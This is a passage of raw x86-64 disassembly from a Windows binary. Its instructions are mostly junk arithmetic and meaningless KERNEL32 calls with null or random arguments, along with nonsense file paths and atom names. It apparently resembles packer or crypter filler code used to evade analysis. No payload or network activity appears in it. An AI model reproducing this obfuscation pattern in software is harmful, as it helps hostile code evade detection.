mov dword [rsp + 0x458c], eax
mov eax, dword [rsp + 0x44f0]
mov ecx, dword [rsp + 0x44f8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9780]
mov dword [rcx], eax
mov rax, qword [0x1401e7420]
mov rcx, qword [rsp + 0x9a80]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x95d0]
mov qword [rcx], rax
mov edx, 0x53c
mov rcx, qword [rsp + 0x8c08]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4590], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
lea rax, [rsp + 0x92b0]
mov qword [rsp + 0x9de0], rax
mov rax, qword [rsp + 0x93c0]
movzx eax, word [rax]
mov word [0x1401e7590], ax
movsx eax, word [rsp + 0xc20]
movsx ecx, word [rsp + 0xbc8]
and eax, ecx
mov rcx, qword [rsp + 0x9b50]
mov word [rcx], ax
lea rax, [0x1401e6037]
mov qword [rsp + 0x9de8], rax
movzx eax, byte [rsp + 0x58]
mov rcx, qword [rsp + 0x99a0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa8], al
mov rax, qword [rsp + 0x9920]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9868]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x98], al
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov dword [rsp + 0x4594], eax
mov rax, qword [rsp + 0x9bc0]
mov rcx, qword [rsp + 0x9018]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9248]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9908]
mov qword [rsp + 0x9df0], rax
mov rax, qword [rsp + 0x9530]
mov rcx, qword [rsp + 0x98e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x98f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9760]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e6060], ax
mov rax, qword [rsp + 0x8cb0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa7]
add eax, ecx
mov rcx, qword [rsp + 0x96e8]
mov byte [rcx], al
lea rax, [rsp + 0x75]
mov qword [rsp + 0x9df8], rax
movzx eax, word [rsp + 0xc1c]
mov rcx, qword [rsp + 0x9440]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9a70]
mov word [rcx], ax
movzx eax, word [rsp + 0xcf4]
mov word [rsp + 0xd3c], ax
mov rax, qword [rsp + 0x9880]
mov rcx, qword [rsp + 0x9980]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9908], rax
mov eax, dword [rsp + 0x4228]
mov ecx, dword [rsp + 0x4520]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9b00]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9418]
mov qword [rsp + 0x9e00], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x44e0], eax
mov eax, dword [rsp + 0x4594]
movzx ecx, al
mov eax, dword [0x1401e741c]
sar eax, cl
mov dword [rsp + 0x448c], eax
mov dword [rsp + 0x20], 0x277e
mov r9d, 0x34e
mov r8d, 0x1282
mov edx, 0x15e
mov rcx, qword [rsp + 0x9848]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4310], eax
lea rax, [rsp + 0xc4c]
mov qword [0x1401e7598], rax
lea rax, [rsp + 0x6b]
mov qword [rsp + 0x9e08], rax
mov rax, qword [rsp + 0x9c20]
movzx eax, word [rax]
cdq
mov ecx, 0x6ea
idiv ecx
mov rcx, qword [rsp + 0x9440]
mov word [rcx], ax
mov rax, qword [rsp + 0x98a0]
movzx eax, byte [rax]
mov byte [rsp + 0xaf], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.C:Cooperativewatercourse_furthestchocolatesPantile
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x9e10], rax
movzx eax, byte [rsp + 0x6e]
movzx ecx, byte [rsp + 0x53]
or eax, ecx
mov byte [rsp + 0xa8], al
mov rax, qword [rsp + 0x9b70]
mov rcx, qword [rsp + 0x9538]
mov qword [rsp + 0x9e18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9e18]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x95e0]
mov qword [rcx], rax
mov dword [rsp + 0x20], 0x982
mov r9d, 0xe74
mov r8d, 0x2f67
mov edx, 0x3aa4
mov rcx, qword [rsp + 0x98c8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x438c], eax
mov eax, dword [rsp + 0x4428]
mov dword [rsp + 0x4598], eax
mov rax, qword [rsp + 0x9c88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9258]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9798]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x9460]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4324], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0x9e20], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8d90], rax
mov rax, qword [rsp + 0x9620]
mov eax, dword [rax]
mov dword [rsp + 0x459c], eax
mov rax, qword [rsp + 0x96b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9db0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e6064], ax
mov rax, qword [rsp + 0x92c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd38]
and eax, ecx
mov rcx, qword [rsp + 0x8e78]
mov word [rcx], ax
mov rax, qword [0x1401e74a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
add eax, ecx
mov byte [rsp + 0x54], al
lea rdx, [rsp + 0x45a0]
mov rcx, qword [rsp + 0x9b90]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x41b4], eax
movzx eax, word [rsp + 0xbe0]
mov word [rsp + 0xd40], ax
mov rax, qword [rsp + 0x97f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x98]
sub eax, ecx
mov byte [rsp + 0x95], al
lea rcx, [rsp + 0x2a080]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4460], eax
mov rcx, qword [rsp + 0x9be8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0x4424]
mov dword [rsp + 0x45a4], eax
mov rax, qword [rsp + 0x97f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x93b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ce8], rax
lea rcx, str.Wholefood_Layering_Institutionally
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xc80], ax
mov rax, qword [rsp + 0x9a08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x96c8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9308]
mov qword [rcx], rax
mov rax, qword [rsp + 0x91c0]
mov eax, dword [rax]
mov dword [rsp + 0x45a8], eax
mov rax, qword [rsp + 0x9888]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9988]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401e7550]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x75]
movzx ecx, byte [rsp + 0x7c]
sub eax, ecx
mov byte [rsp + 0x97], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov rax, qword [rsp + 0x91e0]
movzx eax, word [rax]
mov word [rsp + 0xd44], ax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
movsx eax, word [rsp + 0xbe8]
mov rcx, qword [rsp + 0x9c30]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xbb0], ax
mov rax, qword [rsp + 0x8ca8]
movzx eax, word [rax]
mov word [rsp + 0xd48], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rax, qword [rsp + 0x9798]
mov rcx, qword [rsp + 0x96c8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9a60], rax
mov rax, qword [rsp + 0x9030]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4364]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4378], eax
lea rax, [0x1401e6008]
mov qword [rsp + 0x9e28], rax
mov rcx, qword [rsp + 0x8e30]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x45ac], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov eax, dword [rsp + 0x44c8]
cdq
idiv dword [rsp + 0x4538]
mov rcx, qword [rsp + 0x9c78]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x69]
movsx ecx, byte [rsp + 0x8e]
shl eax, cl
mov byte [str.yRs_a], al
lea rax, [rsp + 0xd3c]
mov qword [rsp + 0x9e30], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xd1c3
mov rcx, qword [rsp + 0x9e10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x42e8], eax
lea rcx, [rsp + 0x29fe0]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x45b0], eax
movsx eax, byte [rsp + 0x77]
mov rcx, qword [rsp + 0x8fe8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9208]
mov byte [rcx], al
movzx eax, byte [rsp + 0x67]
movzx ecx, byte [rsp + 0x9e]
sar eax, cl
mov byte [rsp + 0x9d], al
movzx eax, word [rsp + 0xd20]
mov word [rsp + 0xd4c], ax
mov rax, qword [rsp + 0x97f0]
mov rcx, qword [rsp + 0x97b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9520], rax
lea rax, [rsp + 0x43d4]
mov qword [rsp + 0x9e38], rax
mov rax, qword [rsp + 0x9588]
mov rcx, qword [rsp + 0x8f00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9150]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9ba0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9858]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x96a8]
mov qword [rcx], rax
lea rcx, [rsp + 0x254d0]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movzx eax, byte [rsp + 0x76]
mov byte [rsp + 0xb0], al
movsx eax, word [rsp + 0xd38]
movsx ecx, word [0x1401e6074]
and eax, ecx
mov word [0x1401e607c], ax
mov rax, qword [rsp + 0x8fd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcac]
imul eax, ecx
mov word [rsp + 0xc0c], ax
lea rax, [rsp + 0x99]
mov qword [rsp + 0x9e40], rax
lea rdx, [rsp + 0x281f0]
mov rcx, qword [rsp + 0x9978]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x43ec], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8d90], rax
movsx eax, word [0x1401e6044]
mov rcx, qword [rsp + 0x8e20]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xbdc], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov rax, qword [rsp + 0x91a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41bc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9378]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9018]
mov eax, dword [rax]
mov dword [rsp + 0x45b4], eax
mov rax, qword [rsp + 0x9288]
mov rcx, qword [0x1401e6008]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x90e0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x96b0], rax
lea rcx, [rsp + 0x96e0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9740]
mov qword [rsp + 0x9e48], rax
movzx eax, byte [rsp + 0x7a]
movzx ecx, byte [rsp + 0x5d]
sub eax, ecx
mov byte [rsp + 0x81], al
lea rax, [rsp + 0xc2c]
mov qword [0x1401e75a0], rax
movzx eax, byte [rsp + 0x99]
mov byte [rsp + 0xb1], al
mov rax, qword [rsp + 0x9728]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9ca8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9060]
movzx eax, word [rax]
mov rcx, qword [0x1401e7588]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9720]
mov word [rcx], ax
mov eax, dword [rsp + 0x43a4]
mov dword [rsp + 0x45b8], eax
lea rdx, [rsp + 0x4438]
mov rcx, qword [rsp + 0x9848]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x43f4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov rax, qword [rsp + 0x90d0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9bd0]
shl rax, cl
mov rcx, qword [rsp + 0x9a18]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9b40]
mov eax, dword [rax]
mov dword [rsp + 0x45bc], eax
mov rax, qword [rsp + 0x9090]
mov rcx, qword [rsp + 0x9538]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9a48], rax
lea rdx, [rsp + 0x281b8]
mov rcx, qword [rsp + 0x9238]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4354], eax
movsx eax, word [rsp + 0xcb8]
mov rcx, qword [rsp + 0x9760]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xb8c], ax
movsx eax, word [rsp + 0xc98]
movsx ecx, word [rsp + 0xd20]
and eax, ecx
mov word [0x1401e608c], ax
mov rax, qword [rsp + 0x9d40]
movzx eax, word [rax]
mov word [rsp + 0xd50], ax
mov rcx, qword [rsp + 0x9940]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, byte [rsp + 0x5e]
movsx ecx, byte [rsp + 0x8d]
add eax, ecx
mov byte [rsp + 0x8f], al
mov rax, qword [0x1401e7518]
movzx eax, byte [rax]
mov byte [rsp + 0xb2], al
mov rax, qword [rsp + 0x9568]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4520]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x44dc], eax
mov rax, qword [rsp + 0x91d8]
mov rcx, qword [rsp + 0x9108]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x446c], eax
mov rax, qword [rsp + 0x9190]
mov rax, qword [rax]
mov qword [rsp + 0x9e50], rax
mov rax, qword [rsp + 0x97d8]
mov rcx, qword [rsp + 0x9090]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9d48], rax
movzx eax, byte [rsp + 0x64]
mov byte [rsp + 0xb3], al
movzx eax, byte [rsp + 0x72]
mov rcx, qword [rsp + 0x99a8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1401e7480]
mov byte [rcx], al
mov rax, qword [rsp + 0x9468]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x63]
add eax, ecx
mov byte [rsp + 0x5b], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4508], eax
movzx eax, word [rsp + 0xccc]
mov word [rsp + 0xd54], ax
lea rdx, [rsp + 0x45c0]
mov rcx, qword [rsp + 0x91b0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x447c], eax
mov rcx, qword [rsp + 0x8f80]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4460], eax
movzx eax, word [rsp + 0xc1c]
movzx ecx, word [rsp + 0xd44]
sub eax, ecx
mov word [rsp + 0xc84], ax
movsx eax, byte [rsp + 0x77]
movsx ecx, byte [rsp + 0x6a]
add eax, ecx
mov byte [rsp + 0x84], al
lea rax, [rsp + 0x443c]
mov qword [rsp + 0x9e58], rax
mov rax, qword [rsp + 0x9348]
mov rax, qword [rax]
mov rcx, qword [0x1401e6020]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9758], rax
lea rdx, [rsp + 0x28228]
mov rcx, qword [rsp + 0x98c8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x43b8], eax
lea rax, [rsp + 0x9318]
mov qword [rsp + 0x9e60], rax
mov rax, qword [rsp + 0x9a10]
mov rcx, qword [rsp + 0x9ae8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x44f0], eax
mov rax, qword [0x1401e7458]
movzx eax, byte [rax]
mov byte [0x1401e743f], al
mov rax, qword [rsp + 0x9a50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9430]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xbe8], ax
lea rax, [rsp + 0xbd8]
mov qword [rsp + 0x9e68], rax
mov rax, qword [0x1401e74f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8eb8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xb8c], ax
lea rax, [rsp + 0x7f]
mov qword [rsp + 0x9e70], rax
mov eax, dword [rsp + 0x458c]
mov ecx, dword [rsp + 0x4390]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9d90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9a10]
mov rcx, qword [rsp + 0x9a90]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x4344], eax
lea rax, [rsp + 0x9998]
mov qword [rsp + 0x9e78], rax
mov rcx, qword [rsp + 0x90d8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4590], eax
mov rax, qword [rsp + 0x9b30]
mov rcx, qword [rsp + 0x9cf8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e10], rax
mov rax, qword [rsp + 0x95d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
add eax, ecx
mov rcx, qword [0x1401e7480]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rax, qword [rsp + 0x9208]
movzx eax, byte [rax]
mov byte [rsp + 0xb4], al
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xfcf
mov r9d, 0x1c29
mov r8d, 0x7ead9172
mov edx, 1
mov rcx, qword [rsp + 0x9330]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x45c4], eax
mov rax, qword [rsp + 0x9760]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9430]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd00], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8e58], rax
movzx eax, byte [rsp + 0xab]
movzx ecx, byte [rsp + 0xa6]
add eax, ecx
mov byte [rsp + 0x5f], al
mov rax, qword [rsp + 0x8fd0]
movzx eax, word [rax]
mov word [rsp + 0xd58], ax
mov rax, qword [rsp + 0x9d38]
mov rcx, qword [rsp + 0x97a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4520], eax
lea rax, [rsp + 0x9520]
mov qword [rsp + 0x9e80], rax
mov rcx, qword [rsp + 0x9940]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4564], eax
mov rax, qword [rsp + 0x9458]
mov ecx, dword [rsp + 0x459c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4450], eax
lea rax, [rsp + 0x9d78]
mov qword [rsp + 0x9e88], rax
movzx eax, byte [0x1401e6012]
movzx ecx, byte [rsp + 0x9f]
and eax, ecx
mov byte [0x1401e602a], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4328], eax
mov rax, qword [rsp + 0x9760]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8eb8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xce8], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.C:MotorcarTranslatorShindig
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x9e90], rax
lea rcx, [rsp + 0x25430]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rcx, qword [rsp + 0x9cb8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x42ec], eax
mov rax, qword [rsp + 0x9c20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc34]
sub eax, ecx
mov word [rsp + 0xd08], ax
mov rax, qword [rsp + 0x9988]
movzx eax, byte [rax]
mov byte [rsp + 0xb5], al
lea rcx, str.Heavily_Workmen_Kinetic_met
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xd5c], ax
mov rcx, qword [rsp + 0x9178]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0xc24]
movzx ecx, word [rsp + 0xbe4]
add eax, ecx
mov rcx, qword [rsp + 0x91e0]
mov word [rcx], ax
lea rax, [rsp + 0x9520]
mov qword [rsp + 0x9e98], rax
mov rax, qword [rsp + 0x9878]
mov ecx, dword [rsp + 0x43dc]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x9a78]
mov dword [rcx], eax
mov eax, dword [rsp + 0x456c]
mov rcx, qword [rsp + 0x9c08]
mov qword [rsp + 0x9ea0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9ea0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x9108]
mov dword [rcx], eax
lea rax, [rsp + 0x9268]
mov qword [rsp + 0x9ea8], rax
movzx eax, byte [rsp + 0x9e]
mov rcx, qword [rsp + 0x93a8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401e6043], al
mov rax, qword [rsp + 0x9988]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9608]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x79], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x439c], eax
lea rax, [rsp + 0xd0c]
mov qword [rsp + 0x9eb0], rax
mov rax, qword [rsp + 0x8eb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9a50]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9310]
mov word [rcx], ax
movzx eax, byte [rsp + 0xa0]
mov rcx, qword [rsp + 0x99a0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8e18]
mov byte [rcx], al
mov rax, qword [rsp + 0x9bc0]
mov eax, dword [rax]
mov dword [rsp + 0x45c8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x8f60], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x60f5
mov rcx, qword [rsp + 0x96c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x45cc], eax
mov rax, qword [rsp + 0x9488]
mov rcx, qword [rsp + 0x9b38]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9108]
mov eax, dword [rax]
mov dword [rsp + 0x45d0], eax
mov rax, qword [0x1401e7420]
mov rcx, qword [rsp + 0x9258]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x98e0]
mov qword [rcx], rax
lea rcx, str.Windiest_Amusingly
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xc48], ax
lea rdx, [rsp + 0x95a0]
mov rcx, qword [rsp + 0x9c80]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x454c], eax
movzx eax, word [rsp + 0xbe4]
movzx ecx, word [rsp + 0xc70]
sub eax, ecx
mov word [0x1401e6070], ax
mov rax, qword [rsp + 0x9760]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8e20]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc9c], ax
lea rax, [rsp + 0xd20]
mov qword [rsp + 0x9eb8], rax
mov rax, qword [rsp + 0x93c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9eb0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9440]
mov word [rcx], ax
lea rax, [rsp + 0x59]
mov qword [rsp + 0x9ec0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9378]
mov rcx, qword [rsp + 0x8e98]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9a90]
mov dword [rcx], eax
lea rdx, [rsp + 0x280d8]
mov rcx, qword [rsp + 0x9220]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4354], eax
movzx ecx, word [rsp + 0xc7c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd60], ax
lea rax, [rsp + 0x94f0]
mov qword [rsp + 0x9ec8], rax
mov rax, qword [rsp + 0x9188]
mov rcx, qword [rsp + 0x9160]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9358]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9b40]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1401e6018]
shr eax, cl
mov dword [rsp + 0x4428], eax
lea rax, [rsp + 0x6d]
mov qword [0x1401e75a8], rax
lea rax, [rsp + 0xb74]
mov qword [rsp + 0x9ed0], rax
mov rax, qword [rsp + 0x90b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9df8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x71], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
lea rdx, [rsp + 0x447c]
mov rcx, qword [rsp + 0x9410]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4328], eax
lea rax, [rsp + 0xc84]
mov qword [rsp + 0x9ed8], rax
mov rax, qword [rsp + 0x9208]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5c]
shl eax, cl
mov rcx, qword [rsp + 0x9988]
mov byte [rcx], al
mov rax, qword [rsp + 0x9348]
mov rcx, qword [rsp + 0x9e98]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9500], rax
lea rax, [rsp + 0x44bc]
mov qword [rsp + 0x9ee0], rax
mov rax, qword [rsp + 0x90a8]
mov rcx, qword [rsp + 0x9c28]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9530]
mov qword [rcx], rax
lea rax, [rsp + 0x44f0]
mov qword [rsp + 0x9ee8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9080]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcc4]
and eax, ecx
mov rcx, qword [0x1401e7578]
mov word [rcx], ax
movzx eax, byte [rsp + 0x95]
mov rcx, qword [rsp + 0x97b0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8e68]
mov byte [rcx], al
movsx eax, byte [0x1401e601d]
mov rcx, qword [rsp + 0x9118]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x66], al
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x98c
mov r9d, 0x2c30
mov r8d, 0x96c0e183
mov edx, 2
mov rcx, qword [rsp + 0x98e8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4564], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8e00], rax
lea rax, [rsp + 0xbc8]
mov qword [rsp + 0x9ef0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x9f]
mov rcx, qword [rsp + 0x9960]
